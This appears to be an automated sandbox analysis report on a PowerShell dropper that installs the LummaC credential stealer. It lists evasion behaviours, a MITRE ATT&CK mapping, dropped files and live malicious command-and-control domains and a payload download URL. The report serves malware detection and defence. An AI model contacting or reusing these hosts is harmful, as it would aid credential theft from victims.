Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809			Jump to behavior

Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior

Source: setup.exe, 00000005.00000003.2782062262.00000000009E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: setup.exe, 00000005.00000003.2777562300.0000000000A0E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A30000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000000.00000002.2586241744.000001E743AE3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe

Code function: 5_2_02CCF860 LdrInitializeThunk,

5_2_02CCF860

Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02310BDA mov eax, dword ptr fs:[00000030h]	5_2_02310BDA
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0231061A mov edx, dword ptr fs:[00000030h]	5_2_0231061A
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02311229 mov eax, dword ptr fs:[00000030h]	5_2_02311229
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_0231122A mov eax, dword ptr fs:[00000030h]	5_2_0231122A
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Code function: 5_2_02310F8A mov eax, dword ptr fs:[00000030h]	5_2_02310F8A

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: setup.exe	String found in binary or memory: p3ar11fter.sbs
Source: setup.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: setup.exe	String found in binary or memory: processhol.sbs
Source: setup.exe	String found in binary or memory: w0rdergen1.cyou
Source: setup.exe	String found in binary or memory: peepburry828.sbs
Source: setup.exe	String found in binary or memory: p10tgrace.sbs

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Users\user\AppData\Roaming\Extracted1\setup.exe "C:\Users\user\AppData\Roaming\Extracted1\setup.exe"

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Roaming\Extracted1\setup.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 00000005.00000002.2785261355.0000000002310000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	111 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	2 Clipboard Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Obfuscated Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	32 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
psol.txt.ps1	13%	ReversingLabs	Script-PowerShell.Trojan.Powdow

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Roaming\Extracted1\Register.dll	3%	ReversingLabs
C:\Users\user\AppData\Roaming\Extracted1\libvlccore.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\AdonisUI.ClassicTheme.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\AdonisUI.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x64\SQLite.Interop.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x86\BouncyCastle.Crypto.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Extracted1\resource_\Font\Pfm\Locals\x86\SQLite.Interop.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Extracted1\resource_\Register.dll	3%	ReversingLabs
C:\Users\user\AppData\Roaming\Extracted1\resource_\libvlccore.dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Extracted1\resource_\rtl120.bpl	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Extracted1\setup.exe	34%	ReversingLabs	Win32.Spyware.Lummastealer

Source	Detection	Scanner	Label
http://www.thomaslevesque.com/2009/03/27/wpf-automatically-sort-a-gridview-when-a-column-header-is-c	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/apie;	100%	Avira URL Cloud	malware
https://api.steampowered.cw	0%	Avira URL Cloud	safe
http://sslcom.repository.certum.pl/ctnca.cer0:	0%	Avira URL Cloud	safe
http://store.steampowered.8=	0%	Avira URL Cloud	safe
https://p10tgrace.sbs:443/api	100%	Avira URL Cloud	malware
https://owner-vacat10n.sbs:443/api	100%	Avira URL Cloud	malware
http://sslcom.ocsp-certum.com08	0%	Avira URL Cloud	safe
https://pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev/poltos.zip	100%	Avira URL Cloud	phishing
https://www.wisecleaner.comU	0%	Avira URL Cloud	safe
https://p3ar11fter.sbs:443/api-	100%	Avira URL Cloud	malware
https://marshal-zhukov.com/api&;	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev	172.66.0.235	true	false	unknown
steamcommunity.com	23.55.153.106	true	false	high
marshal-zhukov.com	172.67.160.80	true	false	high
w0rdergen1.cyou	unknown	unknown	true	unknown
librari-night.sbs	unknown	unknown	false	high
owner-vacat10n.sbs	unknown	unknown	false	high
p10tgrace.sbs	unknown	unknown	false	high
befall-sm0ker.sbs	unknown	unknown	false	high
3xp3cts1aim.sbs	unknown	unknown	false	high
p3ar11fter.sbs	unknown	unknown	false	high
peepburry828.sbs	unknown	unknown	false	high
processhol.sbs	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
peepburry828.sbs	false		high
processhol.sbs	false		high
https://steamcommunity.com/profiles/76561199724331900	false		high
https://pub-7a0525921ff54f1193db83d7303c6ee8.r2.dev/poltos.zip	false	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://player.vimeo.com	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://p10tgrace.sbs:443/api	setup.exe, 00000005.00000003.2782062262.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://steamcommunity.com/?subsection=broadcasts	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/answer/6098869	powershell.exe, 00000000.00000002.2554907242.000001E72D424000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D14B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D48A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D232000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D1D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D37F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D33C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D275000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D18F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D4CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D2FA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D2B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2554907242.000001E72D3C1000.00000004.00000800.00020000.00000000.sdmp, fr.pak.0.dr, hr.pak.0.dr, am.pak.0.dr	false		high
http://ocsps.ssl.com0?	powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0	powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tieba.baidu.com/f/commit/share/openShareApi?url=https://www.wisecleaner.com.cn	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	false		high
https://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=https%3A%2F%2Fwww.wisecleaner.com.cn	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	false		high
https://store.steampowered.com/subscriber_agreement/	setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.thomaslevesque.com/2009/03/27/wpf-automatically-sort-a-gridview-when-a-column-header-is-c	powershell.exe, 00000000.00000002.2554907242.000001E72DACC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sslcom.crl.certum.pl/ctnca.crl0s	powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0	powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.indyproject.org/	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp, Register.dll.0.dr	false		high
http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_	powershell.exe, 00000000.00000002.2554907242.000001E72C633000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2697940557.00000000034F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crbug.com/510270	resources.pak0.0.dr	false		high
https://marshal-zhukov.com/apie;	setup.exe, 00000005.00000002.2784098293.0000000000A6A000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A6A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.valvesoftware.com/legal.htm	setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://recaptcha.net/recaptcha/	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crbug.com/378067	resources.pak0.0.dr	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=1aq3	setup.exe, 00000005.00000003.2777562300.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782014101.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.8=	setup.exe, 00000005.00000003.2782062262.00000000009E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugs.chromium.org/p/chromium/issues/entry?template=Safety	hr.pak.0.dr, am.pak.0.dr	false		high
https://api.steampowered.cw	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/micdenny/WpfScreenHelper/	powershell.exe, 00000000.00000002.2554907242.000001E72DACC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000000.00000002.2583471088.000001E73BB50000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.2583471088.000001E73BA0E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	setup.exe, 00000005.00000003.2777562300.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782014101.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
http://service.weibo.com/share/share.php?url=https%3A%2F%2Fwww.wisecleaner.com.cn	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	false		high
https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.codeproject.com/Articles/54472/Defining-WPF-Adorners-in-XAML	powershell.exe, 00000000.00000002.2554907242.000001E72DACC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.wisecleaner.comU	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl	setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A78000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A7F000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000000.00000002.2554907242.000001E72B9A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crbug.com/642141	resources.pak0.0.dr	false		high
https://owner-vacat10n.sbs:443/api	setup.exe, 00000005.00000003.2782062262.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://community.fastly.steamstatic.com/	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steam.tv/	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp	false		high
https://twitter.com/share?original_referer=http://www.wisecleaner.com/&source=tweetbutton&text=A	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782014101.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crbug.com/957772	resources.pak0.0.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000000.00000002.2554907242.000001E72BBC8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.wisecleaner.com/language.htmlU	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	false		high
https://www.wisecleaner.com/wise-force-deleter.htmlU	setup.exe, 00000005.00000003.2697940557.00000000031E6000.00000004.00000800.00020000.00000000.sdmp, setup.exe, 00000005.00000000.2546385365.0000000000418000.00000020.00000001.01000000.00000008.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000000.00000002.2554907242.000001E72BBC8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=TtnlHyaDdydL&a	setup.exe, 00000005.00000003.2777562300.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.0000000000A78000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782014101.0000000000A88000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
http://store.steampowered.com/privacy_agreement/	setup.exe, 00000005.00000003.2782062262.00000000009E9000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2782062262.0000000000A75000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777471650.0000000000A84000.00000004.00000020.00020000.00000000.sdmp	false		high
https://steamcommunity.com:443/profiles/76561199724331900	setup.exe, 00000005.00000003.2782062262.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000002.2784098293.00000000009FE000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000005.00000003.2777562300.00000000009FB000.00000004.00000020.00020000.00000000.sdmp	false		high
